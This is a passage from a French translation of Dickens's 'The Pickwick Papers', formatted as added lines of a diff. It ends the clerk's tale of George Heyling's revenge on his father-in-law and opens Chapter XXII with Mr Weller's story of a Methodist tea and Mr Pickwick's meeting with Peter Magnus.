+Pendant plusieurs semaines, on fut obligé de le veiller nuit et jour;
+mais dans les plus violentes rêveries de la fièvre, il ne perdit pas la
+conscience de ses malheurs, ni le souvenir du voeu qu'il avait fait. Des
+lieux, des scènes, des événements divers, se succédaient devant ses yeux
+avec la rapidité confuse du délire; et pourtant tous ses rêves étaient
+liés, en quelque manière, au sujet terrible qui remplissait son esprit.
+Il naviguait sur une mer sans bornes. Le ciel brûlant paraissait
+ensanglanté; les vagues furieuses bondissaient, tourbillonnaient de
+toutes parts. Un autre vaisseau labourait péniblement les flots agités:
+ses voiles déchirées flottaient comme des rubans sur ses mâts; son pont
+était encombré de créatures humaines, sur lesquelles, à chaque instant,
+crevaient des vagues monstrueuses qui les balayaient dans la mer
+écumante. Cependant le vaisseau que montait Heyling s'avançait au milieu
+de la masse mugissante des eaux, avec une force et une vitesse
+irrésistibles. Frappant l'autre navire sur le flanc, il l'écrasa sous sa
+quille. Un cri terrible, le cri de mort de cent misérables, s'éleva; si
+affreux qu'il retentit par-dessus les clameurs des éléments; si aigu
+qu'il semblait percer l'air et l'Océan et les cieux.--Mais qu'est-ce que
+cela? Quelle est cette vieille tête grise, qui s'élève au-dessus des
+vagues, qui lutte contre la mort, et dont les cris, le regard plein
+d'agonie, appellent du secours? Un seul coup d'oeil, et George Heyling
+s'est élancé dans la mer; il nage vigoureusement vers le vieillard; il
+s'en approche: oui! ce sont bien ses traits! Le vieillard le voit venir
+et s'efforce vainement de lui échapper. Heyling le saisit, l'étreint,
+l'entraîne avec lui sous les flots, au fond! au fond! sous des masses
+d'eau ténébreuses. Les efforts du vieillard deviennent de plus en plus
+faibles et bientôt cessent entièrement: il est mort; Heyling l'a tué; il
+a tenu son serment!
+
+Seul et les pieds nus, il traversait les plaines brûlantes d'un immense
+désert. Le sable soulevé par le simoun l'étouffait, l'aveuglait. Ses
+grains imperceptibles pénétraient dans chaque pore de sa peau, et lui
+causaient une irritation qui allait jusqu'à la fureur. Des masses
+gigantesques de la même poussière, emportées par les vents et rougies
+par le soleil, marchaient autour de lui comme des piliers de feu vivant.
+Les ossements des voyageurs qui avaient péri, dans ces affreux déserts,
+blanchissaient à ses pieds; une lumière sanglante tombait sur tous les
+objets environnants; et aussi loin que ses regards pouvaient s'étendre,
+il n'apercevait que de nouveaux sujets de crainte et d'horreur. C'est en
+vain qu'il s'efforce de pousser un cri de détresse; sa langue brûlante
+est collée à son palais. Il se précipite en avant comme un désespéré.
+Doué d'une force surnaturelle, il fend les sables mouvants: mais à la
+fin, épuisé de soif et de fatigue, il tombe sans connaissance sur la
+terre. Quelle fraîcheur enivrante le ravive? D'où vient cet agréable
+murmure? De l'eau, c'est une source; le clair ruisseau coule à ses
+pieds. Il en boit avec ardeur, et reposant sur la rive ses membres
+endoloris, il tombe dans un assoupissement délicieux. Un bruit de pas le
+réveille. Un vieux homme à la tête grise s'avance en chancelant pour
+apaiser sa soif dévorante. C'est encore _lui_! Heyling saisit le
+vieillard d'un bras et l'éloigne de l'onde bienfaisante. Vainement
+celui-ci se débat avec d'affreuses convulsions; vainement il demande
+avec des cris déchirants de l'eau, une seule goutte d'eau pour sauver sa
+vie! Heyling le repousse d'un bras impitoyable; il contemple d'un oeil
+avide sa longue agonie, et quand sa tête grise tombe sans vie sur son
+sein, il laisse aller son cadavre et le repousse du pied.
+
+Lorsque la fièvre le quitta, lorsque la connaissance lui revint, il
+s'éveilla pour se trouver libre et riche; pour apprendre que son père,
+qui l'aurait laissé mourir dans une prison, qui avait laissé ceux qui
+devaient lui être plus chers que sa propre existence, périr de besoin et
+de cette tristesse du coeur qu'aucun médecin ne peut guérir; que son père
+dénaturé avait été trouvé mort dans son lit. Il aurait bien eu le
+courage de faire de son fils un mendiant; mais orgueilleux jusqu'au bout
+de sa santé et de sa force, il avait ajourné les mesures à prendre pour
+cela, jusqu'au moment où il était trop tard pour le faire: et maintenant
+il pouvait grincer des dents, dans l'autre monde, à la pensée de toutes
+les richesses que cette négligence avait fait passer sur la tête de son
+fils!
+
+George Heyling revint à lui pour apprendre sa fortune nouvelle, pour se
+souvenir du serment terrible qu'il avait fait, pour se rappeler que son
+ennemi était le père de sa propre femme, l'homme qui l'avait plongé dans
+une prison, et qui, quand sa fille et son petit enfant s'étaient jetés à
+ses pieds, pour lui demander grâce, les avait chassés avec mépris. Oh!
+combien le malheureux Heyling déplorait la faiblesse qui l'empêchait de
+se lever et de poursuivre activement sa vengeance!
+
+Il se fit transporter loin des lieux qui avaient été témoins de sa
+misère et de la double perte qu'il avait faite; il se retira sur le bord
+de la mer, dans une résidence paisible, non avec l'espoir de recouvrer
+le bonheur ou même la tranquillité, car l'un et l'autre s'étaient enfuis
+pour toujours, mais afin de retrouver son énergie abattue et de méditer
+sur le projet qu'il nourrissait avec une persistance implacable. Dans
+cet endroit même, quelque mauvais esprit, sans doute, lui fournit
+l'occasion de sa première et de sa plus horrible vengeance.
+
+C'était l'été: plongé dans ses sombres pensées, Heyling sortait vers le
+soir de son logis solitaire, suivait un étroit sentier, au pied des
+falaises, jusqu'à un site désert et sauvage qu'il avait rencontré dans
+ses courses vagabondes et qui avait plu à son imagination exaltée. Là,
+il s'asseyait sur des débris de rochers, et, ensevelissant son visage
+dans ses deux mains, il y restait pendant des heures entières, jusqu'à
+ce que les hautes ombres des rocs effroyables qui menaçaient sa tête
+eussent jeté une épaisse nuit sur tous les objets environnants.
+
+Par une calme soirée, il était assis là, dans sa posture habituelle,
+levant de temps en temps les yeux pour suivre le vol d'une mouette, ou
+pour contempler la glorieux sillon de lumière qui, commençant au bord de
+l'Océan, semblait conduire jusqu'au point extrême de l'horizon où le
+soleil commençait à se plonger, lorsque la profonde tranquillité du
+paysage fut troublée par un long cri de détresse. Heyling prêta
+l'oreille, ne sachant pas d'abord s'il avait bien entendu; puis le cri
+étant répété d'une manière plus déchirante, il se dressa et se hâta de
+courir dans la direction d'où venait le bruit.
+
+La scène qui s'offrit à ses yeux parlait d'elle-même. Des vêtements
+étaient déposés sur la plage; une tête d'homme s'élevait à peine
+au-dessus des flots, à quelque distance du bord, tandis que, sur le
+rivage, un vieillard, tordant ses mains avec désespoir, courait çà et
+là, en appelant au secours. Heyling, dont les forces étaient alors
+suffisamment rétablies, arracha son habit et s'élança vers les flots,
+avec l'intention de s'y précipiter et de ramener l'homme qui se noyait.
+
+«Hâtez-vous, monsieur, au nom de Dieu! sauvez-le, sauvez-le, pour
+l'amour du ciel! C'est mon fils, monsieur, mon seul fils! dit le
+vieillard en s'approchant tout tremblant d'émotion. Mon seul fils,
+monsieur, et qui meurt là, sous les yeux de son père!»
+
+Aux premiers mots que le vieillard avait prononcés, celui qu'il
+regardait comme un sauveur s'était arrêté court, et, croisant ses bras
+sur sa poitrine, était demeuré complétement immobile.
+
+«Grand Dieu! s'écria le vieillard en reculant; Heyling!»
+
+Heyling sourit et garda le silence.
+
+«Heyling, reprit le vieillard avec égarement; mon fils, Heyling! mon
+enfant chéri! Voyez... voyez....» Et pantelant d'angoisse, le misérable
+père montrait l'endroit où le jeune homme se débattait contre la mort.
+
+«Écoutez! poursuivit le vieillard, il vient encore de crier! Il est
+encore vivant! Heyling! sauvez-le! sauvez-le!»
+
+Heyling sourit de nouveau et ne fit aucun mouvement.
+
+«Je vous ai maltraité, cria le vieillard en tombant à genoux et le
+suppliant à mains jointes. Vengez-vous! prenez tout mon bien! prenez ma
+vie! Jetez-moi dans l'eau à vos pieds, et si la nature peut se contenir,
+je mourrai sans me débattre! Par pitié, tuez-moi, Heyling, main sauvez
+mon fils! Il est si jeune! si jeune pour mourir!
+
+--Écoutez, dit Heyling en saisissant fortement le poignet du vieillard,
+je veux avoir vie pour vie, en voici une! Mon enfant, à moi, est mort
+sous les yeux de son père! il est mort dans une agonie bien plus
+affreuse que celle de ce jeune calomniateur de sa soeur. Vous avez ri
+alors; vous avez fermé votre porte au visage de votre fille, où la mort
+avait déjà mis son empreinte! Vous avez ri de nos souffrances.... qu'en
+pensez-vous maintenant? Regardez là! regardez là!»
+
+En parlant ainsi, Heyling montrait l'Océan. Un faible cri s'y fit
+entendre; les dernières, les terribles convulsions d'un noyé agitèrent
+les flots clapotants; et l'instant d'après leur surface était unie;
+l'oeil ne pouvait plus distinguer l'endroit où le jeune homme avait
+disparu dans une tombe prématurée.
+
+Trois ans s'étaient écoulés, lorsqu'un gentleman descendit de sa voiture
+à la porte d'un avoué de Londres, bien connu pour ne pas exagérer la
+délicatesse. Il demanda une entrevue pour une affaire d'importance. Le
+visage de l'étranger était pâle, battu, hagard, et il ne fallait pas
+toute la finesse de l'homme d'affaires pour reconnaître que les maladies
+ou le malheur avaient fait plus de ravages sur sa personne que la main
+du temps n'aurait pu en accomplir pendant le double de la durée de sa
+vie.
+
+«Je désire, dit l'étranger, que vous veuillez bien vous charger d'une
+affaire qui m'intéresse beaucoup....»
+
+L'avoué salua obséquieusement et jeta un coup d'oeil au paquet que le
+gentleman tenait dans sa main. Celui-ci le remarqua et poursuivit:
+
+«Ce n'est pas une affaire ordinaire, et ces papiers ne sont pas venus
+entre mes mains sans de longues peines et de grandes dépenses.»
+
+L'avoué examina le paquet avec plus de curiosité encore, et son nouveau
+client dénouant la corde qui l'attachait, lui fit voir une quantité de
+billets avec quelque copies d'actes et d'autres documents.
+
+«Comme vous le verrez, dit le client, l'homme dont voici la nom a
+emprunté, depuis quelques années, de vastes sommes sur ces papiers. Il
+était convenu tacitement avec ses premiers prêteurs, dont j'ai par
+degrés acheté le tout, pour le triple ou le quadruple de sa valeur; il
+était convenu, dis-je, que ces billets seraient renouvelés de temps en
+temps, jusqu'à une certaine époque; mais cette convention n'est exprimée
+nulle part. L'emprunteur a dernièrement subi de grandes pertes, et ces
+obligations, en venant sur lui tout d'un coup, le mettraient sur la
+paille.
+
+--Le montant total est de quelque mille livres sterling, dit l'avoué en
+regardant les papiers.
+
+--Oui, répondit le client.
+
+--Eh bien! que ferons-nous?
+
+--Ce que vous ferez? s'écria le client avec une véhémence soudaine.
+Employez, pour sa perte, toutes les ressources de la loi, toutes les
+subtilités de la chicane, tous les moyens, honnêtes ou non, que peuvent
+inventer les plus rusés praticiens. Je veux qu'il meure d'une mort
+prolongée, harassante! Ruinez-le! saisissez, vendez ses biens, ses
+terres! chassez-le de son domicile! Qu'il mendie dans sa vieillesse et
+qu'il expire en prison!
+
+--Mais les frais, monsieur, les frais de tout ceci, fit observer l'avoué
+lorsqu'il fut revenu de sa première surprise. Si le défendant est ruiné,
+qui payera les frais?...
+
+--Nommez une somme, s'écria l'étranger, dont les mains tremblaient si
+violemment qu'il pouvait à peine tenir la plume qu'il avait saisie;
+nommez une somme quelconque et elle vous sera remise. N'ayez pas peur de
+demander! rien ne me semblera trop cher pourvu que j'atteigne mon but.»
+
+L'avoué nomma à tous hasards une grosse somme, plutôt pour savoir
+jusqu'où son client avait réellement l'intention d'aller, que dans la
+pensée qu'il la lui accorderait. L'étranger, sans hésiter, écrivit une
+traite sur son banquier, la lui remit, et s'éloigna.
+
+La traite fut convenablement honorée, et l'avoué, voyant qu'il pouvait
+compter sur son étrange client, se mit sérieusement à la besogne.
+Pendant plus de deux années, ensuite, M. Heyling vint passer des jours
+entiers dans l'étude, courbé sur les papiers qui s'accumulaient, à
+mesure qu'on commençait poursuite après poursuite, procès après procès.
+Il relisait, avec des yeux étincelants de joie, les demandes de délai,
+les lettres de supplication, les représentations de la ruine certaine
+que l'autre partie devait subir. A toutes ces prières pour un peu
+d'indulgence, il n'y avait qu'une seule réponse: _Il faut payer_. Les
+terres, les maisons, les meubles furent vendus tour à tour, et le
+vieillard lui-même aurait été claquemuré dans une prison, s'il n'était
+parvenu à s'enfuir, en trompant la vigilance du garde chargé de sa
+capture.
+
+Bien loin d'être rassasiée par le succès, l'implacable animosité de
+Heyling semblait s'accroître avec la ruine qu'il infligeait. Sa furie
+fut sans bornes lorsqu'il apprit la fuite du vieillard. Dans sa rage il
+grinçait des dents, il arrachait ses cheveux, et il chargeait
+d'imprécations horribles les hommes à qui on avait confié l'exécution de
+la prise de corps. Enfin on ne put lui rendre une espèce de calme que
+par des assurances répétées que le fugitif serait certainement
+découvert. On envoya des gens dans toutes les directions, on eut recours
+à tous les stratagèmes imaginables, pour apprendre le lieu de sa
+retraite; mais ce fut en vain, et six mois se passèrent sans qu'il fût
+possible de le retrouver.
+
+Un soir, à une heure avancée, Heyling, dont on n'avait pas entendu
+parler depuis plusieurs semaines, se rendit à la résidence privée de son
+avoué et lui fit dire que quelqu'un demandait à lui parler sur-le-champ.
+L'avoué avait reconnu la voix du haut de l'escalier; mais avant qu'il
+eût pu donner l'ordre de l'introduire, Heyling avait franchi les degrés
+et était entré, pâle, palpitant, dans le salon. Après avoir fermé la
+porte, de peur d'être entendu, il se laissa tomber sur un siége, et dit
+d'une voix basse:
+
+«Je l'ai trouvé, à la fin!
+
+--Bah! fit l'avoué. Très-bien, monsieur, très-bien.
+
+--Il est caché dans un misérable logement à Camden. Peut-être est-ce
+aussi bien que nous l'ayons perdu de vue, car il a vécu là tout seul et
+dans la plus abjecte misère. Il est pauvre, très-pauvre.
+
+--Très-bien, dit l'avoué. Vous ferez faire sa capture demain,
+naturellement.
+
+--Oui... attendez... non, le jour d'après. Vous êtes surpris que je
+désire reculer, ajouta le client avec un affreux sourire; mais j'avais
+oublié.... Après-demain est un anniversaire dans sa vie. Que ce soit
+après-demain.
+
+--Très-bien. Voulez-vous écrire des instructions pour le garde?
+
+--Non; qu'il me prenne ici à huit heures du soir, et je l'accompagnerai
+moi-même.»
+
+Effectivement ils se réunirent à l'heure convenue, et prenant une
+voiture de louage, ils dirent au cocher d'arrêter à un coin de la
+vieille route, près du _Work-house_ de Camden. Lorsqu'ils y arrivèrent
+il faisait nuit. Ils suivirent le mur de l'hôpital vétérinaire, et
+entrèrent dans une petite rue désolée, entourée de fossés et de champs.
+
+Après avoir enfoncé son chapeau sur ses yeux et s'être enveloppé de son
+manteau, Heyling s'arrêta devant la maison la plus misérable de la rue
+et frappa doucement à la porte. Elle fut immédiatement ouverte par une
+vieille femme qui fit un salut d'intelligence. Heyling dit tout bas au
+garde de l'attendre, monta l'escalier, ouvrit la porte d'une chambre et
+y entra tout à coup.
+
+L'objet de ses recherches implacables, vieillard décrépit maintenant,
+était assis près d'une vieille table de sapin, sur laquelle il n'y avait
+rien qu'une misérable chandelle. A l'entrée d'un étranger, il
+tressaillit et se leva avec peine.
+
+«Qu'y a-t-il encore? qu'y a-t-il encore? demanda-t-il d'une voix cassée.
+Quelle nouvelle misère est ceci? Qu'est-ce que vous désirez?
+
+--Un mot avec vous,» répondit Heyling. En même temps il s'assit à
+l'autre bout de la table, et, rejetant son manteau et son chapeau, il
+découvrit ses traits.
+
+Le vieillard, frappé de surprise, retomba sur sa chaise, et, serrant ses
+deux mains ensemble, contempla cette apparition avec un regard mêlé
+d'horreur et de crainte.
+
+--Il y a aujourd'hui six ans, dit Heyling, que j'ai réclamé de vous la
+vie que vous me deviez pour mon enfant. Vieillard, auprès du cadavre de
+votre fille, j'ai juré de vivre une vie de vengeance. Depuis ce temps,
+je n'ai pas regretté mon serment une seconde; mais si j'en avais été
+capable, le souvenir d'un seul regard de l'innocente créature,
+lorsqu'elle se mourait sans plainte sous mes yeux; le souvenir du visage
+affamé de notre malheureux enfant, m'aurait fortifié pour
+l'accomplissement de ma tâche. Vous vous rappelez ma première revanche:
+celle-ci est la dernière.»
+
+Le vieillard frissonna; ses mains tombèrent sans force à ses côtés.
+
+«Demain, je quitte l'Angleterre, poursuivit Heyling après une pause d'un
+instant. Cette nuit je vous dévoue à la mort vivante à laquelle vous
+m'aviez condamné, une prison sans espérance!...»
+
+En cet endroit, jetant les yeux sur le vieillard, il cessa de parler; il
+approcha la lumière de son visage décharné, la remit doucement sur la
+table, et quitta la chambre.
+
+«Vous feriez bien de monter vers le vieux bonhomme, je crois qu'il se
+trouve mal, a dit-il à la femme en ouvrant la porte de la rue et faisant
+signe au garde de le suivre. La femme referma la porte, monta le plus
+vite qu'elle put l'escalier, et trouva le vieillard... mort!
+
+Dans l'une des vallées les plus gracieuses du jardin britannique, dans
+un des cimetières les plus tranquilles du comté de Kent, où les fleurs
+sauvages se marient au gazon, où les oiseaux chantent sans cesse, sous
+une pierre simple et polie, reposent en paix la mère et l'enfant. Mais
+les cendres du père ne sont pas mêlées avec les leurs, et depuis sa
+dernière expédition l'avoué n'eut plus aucune nouvelle de son singulier
+client.
+
+       *       *       *       *       *
+
+Lorsque le vieux clerc eut terminé son récit, il se leva, s'approcha
+d'une des patères, et décrochant son chapeau et sa redingote, il les mit
+avec beaucoup de tranquillité; ensuite, sans ajouter un seul mot, il
+s'éloigna lentement. Le gentleman aux boutons de mosaïque s'était
+profondément endormi; et tandis que la majeure partie des assistants
+étaient gravement occupés à faire tomber des gouttes de suif dans leur
+grog, M. Pickwick se retira sans être remarqué. Il paya son écot, aussi
+bien que celui de Sam, et tous deux quittèrent les domaines de _la
+Souche et la Pie_.
+
+
+
+
+CHAPITRE XXII.
+
+M. Pickwick se rend à Ipswich, et rencontre une aventure romantique,
+sous la figure d'une dame d'un certain âge, en papillotes de papier
+brouillard.
+
+
+«C'est ça le matériel de ton gouverneur, Sammy? demanda M. Weller
+_senior_ à son affectionné fils, comme celui-ci entrait, avec un sac de
+voyage et un petit portemanteau, dans la cour de l'hôtel du _Taureau_, à
+Whitechapel.
+
+--Vous avez mis votre nez rouge dessus, vieux, répliqua Sam, en
+s'asseyant sur son fardeau, qu'il avait déposé à terre. Le gouverneur va
+arriver _recta_.
+
+--Il est cabriolant, je suppose.
+
+--Oui; il s'administre deux milles de danger pour huit pence. Comment va
+la belle-mère, ce matin?
+
+--Drôlement, Sammy, drôlement, répliqua M. Weller avec une gravité
+imposante. Elle s'est enfoncée dans les méthodistes dernièrement et elle
+est diablement pieuse, c'est sûr. C'est une trop bonne créature pour
+moi, Sammy. Je sens que je ne la mérite pas.
+
+--Hé! dit Sam, c'est bien de l'abnégation de votre part.
+
+--Juste! repartit le père avec un soupir. Elle s'est embourbée dans une
+nouvelle invention pour la renaissance morale des gens. La _vie
+nouvelle_, qu'ils appellent ça, j'crois. J'aimerais ben à voir marcher
+c'te invention-là, Sammy. J'aimerais ben à voir ta belle-mère renaître.
+Comme je la mettrais vite en nourrice!--Sais-tu ce qu'elles ont fait
+l'autre jour, poursuivit M. Weller après une pause, durant laquelle il
+avait frappé une demi-douzaine de fois le côté de son nez avec son
+index, d'une manière très-significative.
+
+--Sais pas. Qu'est-ce que c'est?
+
+--Elles ont arrangé une grande boisson de thé pour un gaillard qu'elles
+appellent leur berger. J'm'étais arrêté devant l'auberge à regarder not'
+enseigne, vlà qu' j'aperçois à la croisée un p'tit écriteau. _Billets,
+deux shillings. Les demandes doivent être faites au comité. Secrétaire,
+madame Weller._ J'entre à la maison. Le comité siégeait dans
+l'arrière-parloir. Quatorze femmes! Je voudrais que tu les eusses
+entendues, Sammy! Elles passaient des résolutions, elles votaient des
+contributions; toutes sortes de farces. Bien. V'là ta belle-mère qui m'
+travaille pour que j'y aille, et pis que j' croyais que j'verrais quelle
+chose de drôle si j'y allais. Je souscris mon nom pour un billet. Le
+vendredi soir, à six heures, je m'habille très-galamment, j' m'emballe
+avec la vieille femme, et nous arrivons à un premier étage oùs qu'il y
+avait des tasses à thé et le reste pour une trentaine, avec une
+pacotille de femmes qui commencent à chuchoter respectivement en me
+regardant, et comme si elles n'avaient jamais vu auparavant un gentleman
+de cinquante-huit ans, un peu puissant. Comme ça v'là qu' j'entends un
+grand remue-ménage sur l'escalier, et vl'à un grand maigre, avec un nez
+rouge et une cravate blanche, qui caracole dans la chambre et qui
+chante: «V'là l' berger qui vient visiter son fidèle troupeau!» et v'là
+un gros gras qui vient, avec une grande face blanche, tout en souriant
+autour de lui, comme un séducteur. Polisson de séducteur, Sammy!--«Le
+baiser de paix,» dit le berger, et alors i' baise les femmes à la ronde,
+et quand il a fini v'là le nez rouge qui recommence; et alors j'étais
+juste à ruminer si je ne ferais pas bien de commencer aussi,
+espécialement comme il y avait une petite lady ben gentille à coté de
+moi, quand v'là le thé qu'arrivé avec ta belle-mère qu'avait resté en
+bas à faire bouillir la marmite. Pendant que le thé trempait, quelle
+fameuse hymne qu'ils ont braillée! quelles _grâces_! et comme i'
+mangeaient! comme i' buvaient. Je voudrais que tu eusses vu l' berger
+travailler dans le jambon et les tartines, Sammy; j'n'ai jamais vu un
+môme com' ça pour manger et pour boire, jamais! Le nez rouge n'était pas
+non plus l'individu qu' vous aimeriez à nourrir à tant par an, mais i'
+n'était rien auprès du berger. Bien. Après que le thé est enfoncé i'
+cornent une autre hymne, et puis le berger commence à prêcher; et
+fameusement bien encore, qu'i prêchait, considérant les tartines qui
+devaient y être lourdes sur l'estomac. Tout d'un coup i' s'arrête court
+et v'là qu'i' braille: «Oùs qu'est le pécheur? oùs qu'est le misérable
+pécheur!» Sur quoi v'là toutes les femmes qui me regardent et qui
+commencent à exprimer des gémissements, comme si elles avaient été pour
+mourir là. Je pensais que c'était peut-être un peu singulier, mais
+malgré ça je ne disais rien. Tout d'un coup v'là qu'i' s'arrête court
+encore, et qu'i' me regarde fisquement, et qu'i dit: «Oùs qu'est le
+pécheur? où qu'est le misérable pécheur?» Et v'là toutes les femmes qui
+gémissent dix fois pus fort qu'auparavant. Moi j'deviens un peu sauvage,
+là-dessus; ainsi j'fais un pas ou deux en avant et j'lui dis: «Mon ami,
+que j'dis, n'est-il à moi que vous avez appliqué c'te observation-là?»
+Au lieu de me demander excuse, comme on doit faire entre gen'l'm'n, v'là
+qu'i' devient pus outrageux que jamais. I' m'appelle un vase, Sammy, un
+vase de perdition, et toutes sortes de quolibets, si bien que mon sang
+me bouillait, et je lui donne deux ou trois giffles pour lui, et deux ou
+trois autres pour repasser au nez rouge, et puis j' m'en vas. J'aurais
+voulu que tu eusses entendu les femelles crier, Sammy, quand elles ont
+ramassé le berger de dessous la table....--Ohé! v'là l'gouverneur,
+grandeur naturelle....»
+
+En effet, M. Pickwick descendait de cabriolet et entrait dans la cour,
+pendant que M. Weller prononçait ces mots.
+
+«Une belle matinée, mossieu, dit-il au philosophe.
+
+--Très-belle, en vérité, répondit celui-ci.
+
+--Très-belle, en vérité, répéta un homme orné de cheveux roux, d'un nez
+inquisitif, de lunettes bleues, et qui avait débarqué d'un autre
+cabriolet en même temps que M. Pickwick.
+
+«Vous allez à Ipswich, monsieur? demanda-t-il à notre héros.
+
+--Oui, monsieur.
+
+--Coïncidence extraordinaire! j'y vais aussi.»
+
+M. Pickwick le salua.
+
+«Vous voyagez en dehors? demanda encore l'homme aux cheveux rouges.»
+
+M. Pickwick salua de nouveau.
+
+«Dieu de Dieu! comme c'est remarquable! Je vais en dehors aussi. Nous
+allons positivement voyager ensemble!» En prononçant ces mots, d'un air
+mystérieux et important, l'homme aux cheveux rouges se prit à sourire,
+avec la même complaisance que s'il avait fait l'une des découvertes les
+plus étranges qui aient jamais récompensé la sagacité humaine.
+
+«Monsieur, lui dit M. Pickwick, je suis heureux d'avoir votre compagnie.
+
+--Ah! reprit le nouveau venu, qui avait un nez effilé et l'habitude de
+secouer la tête, comme un oiseau, à chaque parole; ah! c'est une bonne
+chose pour tous les deux, n'est-ce pas? La compagnie, voyez-vous, la
+compagnie est... est une chose fort différente de la solitude, n'est-ce
+pas?
+
+--C'est ça une vérité qu'on ne peut pas nier, dit Sam en se mêlant à la
+conversation avec un sourire affable. C'est ce que j'appelle une
+proposition naturellement évidente; comme le marchand de mou de veau le
+disait à la cuisinière, quand elle lui soutenait qu'il n'était pas un
+gentleman.
+
+--Ah! fit l'homme aux cheveux rouges, en regardant Sam du haut en bas;
+un de vos amis, monsieur?
+
+--Pas exactement, monsieur, repartit M. Pickwick à voix basse. Le fait
+est que c'est mon domestique; mais je lui permets beaucoup de libertés,
+car, entre nous, je me flatte que c'est un original, et j'en suis assez
+orgueilleux.
+
+--Ha! reprit l'homme aux cheveux roux, cela, c'est une affaire de goût.
+Moi, je n'aime rien de ce qui est original. Ça ne me convient pas: je
+n'en vois pas la nécessité. Quel est votre nom, monsieur?
+
+--Voici ma carte, monsieur, répondit M. Pickwick, fort amusé par la
+brusquerie de la question et par les singulières manières de l'étranger.
+
+--Ha! dit l'homme aux cheveux rouges en plaçant la carte dans son
+portefeuille, Pickwick? Très-bien. J'aime à savoir le nom des gens, cela
+est fort utile. Voici ma carte: Magnus, comme vous voyez, monsieur.
+Magnus est mon nom. C'est un assez beau nom, je pense, monsieur?
+
+--Un très-beau nom, en vérité, répliqua M. Pickwick sans pouvoir
+réprimer un sourire.
+
+--Oui, je le crois. Il y a un beau nom aussi devant, comme vous
+verrez.... Permettez, monsieur.... En tenant la carte un peu inclinée,
+comme ceci, le nom devient visible; voilà: Peter Magnus. Cela sonne
+bien, je pense, monsieur.
+
+--Très-bien.
+
+--Curieuse circonstance sur ces initiales, monsieur, comme vous voyez.
+P.M., _post meridiem_. Dans les petits billets avec mes intimes, je
+signe quelquefois _Après-midi_. Cela amuse beaucoup mes amis, monsieur
+Pickwick.
+
+--En effet, je m'imagine que cela doit leur procurer la plus vive
+satisfaction, répliqua M. Pickwick, qui enviait en lui-même la facilité
+avec laquelle s'amusaient les amis de M. Magnus.»
+
+Un valet d'écurie vint interrompre leur conversation. «Gentlemen, leur
+dit-il, la voiture est prête, s'il vous plaît.
+
+--Tout mon bagage est-il dedans? demanda M. Magnus.
+
+--Tout est bien, monsieur.
+
+--Le sac rouge est-il dedans?
+
+--Tout est bien, monsieur.
+
+--Et le sac rayé?
+
+--Dans le coffre de devant, monsieur.
+
+--Et le paquet de papier gris?
+
+--Sous le siége, monsieur.
+
+--Et le carton à chapeau de cuir?
+
+--Tout est dedans, monsieur.
+
+--Maintenant, voulez-vous monter? demanda M. Pickwick.
+
+--Excusez-moi, répondit M. Magnus en restant immobile sur la roue.
+Excusez, M. Pickwick. Je ne puis pas consentir à monter dans cet état
+d'incertitude. D'après les manières de cet homme, je suis convaincu que
+le carton à chapeau n'est pas dans la voiture.»
+
+Les solennelles protestations du valet d'écurie n'ayant pu tranquilliser
+M. Magnus, il fallut, pour le satisfaire, tirer des plus profondes
+cavités du coffre le carton à chapeau de cuir; mais lorsque M. Magnus
+eut été rassuré sur son feutre, il ressentit d'infaillibles
+pressentiments, d'abord que le sac rouge était égaré, ensuite que le sac
+rayé avait été volé, puis que le paquet de papier gris s'était dénoué. A
+la fin, après avoir reçu des démonstrations oculaires du peu de
+fondement de chacun de ses soupçons, il consentit à monter sur
+l'impériale de la voiture, déclarant que son esprit était soulagé de
+toute inquiétude, et qu'il se trouvait maintenant confortable et
+heureux.
+
+«Vous avez vos nerfs susceptibles, mossieu? dit M. Weller, en regardant
+l'étranger de travers, tout en montant sur son siége.
+
+--Oui, je suis assez susceptible pour toutes ces petites choses; mais me
+voilà rassuré, maintenant, tout à fait rassuré.
+
+--Eh ben! c'est une bénédiction, cela.--Sammy, aide ton maître à monter.
+L'autre jambe, mossieu. C'est cela. Donnez-moi votre main, mossieu.
+Allons, haut! Vous étiez pus léger quand vous étiez en nourrice,
+mossieu.
+
+--C'est assez probable, monsieur Weller, répondit M. Pickwick avec bonne
+humeur, quoique tout essoufflé.»
+
+Lorsqu'il eut pris place auprès du corpulent cocher, celui-ci
+poursuivit:
+
+«Grimpe ici, Sammy.--Maintenant, Villam, faites-les sortir. Prenez garde
+à l'arcade, gent'l'm'n. Gare les têtes! comme disait le marchand de
+pâtés en jouant à pile ou face.
+
+--C'est ben comme ça, Villam; laissez-les aller.»
+
+William lâcha la tête des chevaux, et en route! Voilà la voiture lancée
+à travers Whitechapel, à la grande admiration de toute la populace de ce
+quartier, qui n'est pas désert.
+
+«Un voisinage pas trop beau, dit Sam, avec le mouvement de chapeau qui
+précédait toujours son entrée en conversation avec son maître.
+
+--Cela est vrai, Sam, répliqua M. Pickwick en examinant les rues
+malpropres et encombrées que traversait la voiture.
+
+--Monsieur, poursuivit Sam, n'est-ce pas une chose bien extra que la
+pauvreté et les huîtres marchent toujours ensemble?
+
+--Je ne vous comprends pas, Sam.
+
+--Voilà ce que je veux dire, monsieur: c'est que plus un endroit est
+misérable, plus on y mange des huîtres. Regardez ici, monsieur, il y a
+des coquilles d'huîtres à presque toutes les portes. Dieu me pardonne si
+je ne crois pas que les gens très-pauvres sortent de leur appartement
+pour manger des huîtres, par pur désespoir.
+
+--C'est sûr ça, observa M. Weller, et c'est juste tout d'même pour le
+saumon salé.
+
+--Voilà deux faits très-remarquables qui ne m'avaient jamais frappé, dit
+alors M. Pickwick; je les noterai certainement à la première place où
+nous arrêterons.»
+
+Tout en causant ainsi, ils avaient atteint la barrière de péage de
+Mile-End. Un profond silence régnait sur l'impériale; mais deux ou trois
+milles plus loin, M. Weller, se tournant tout à coup vers M. Pickwick,
+lui dit:
+
+«Drôle de vie, mossieu, que celle de ces gens-là.
+
+--Quelles gens? s'écria le philosophe.
+
+--Un gardien de pike!
+
+--Qu'est-ce que vous entendez par un gardien de piques? demanda M. Peter
+Magnus.
+
+--L'ancien veut dire un gardien de _turnpike_, gentlemen, fit observer
+Sam en manière d'explication.
+
+--Oh! dit M. Pickwick, je comprends. Oui, une vie très-curieuse,
+très-peu confortable....
+
+--C'est tous des hommes qu'a eu des désagréments dans la vie, poursuivit
+M. Weller.
+
+--Ah! ah! fit M. Pickwick.
+
+--Oui. En conséquence d'quoi, i'se retirent du monde et i' s'enferment
+dans des pikes, partie pour être solitude, partie pour se revancher du
+genre humain en faisant payer les droits.
+
+--Vraiment! dit M. Pickwick, je ne savais pas cela non plus.
+
+--C'est un fait, mossieu. Si i's étaient des gen'l'men, vous les
+appelleriez misencroupes; mais ces gens-là, ça se nomme simplement des
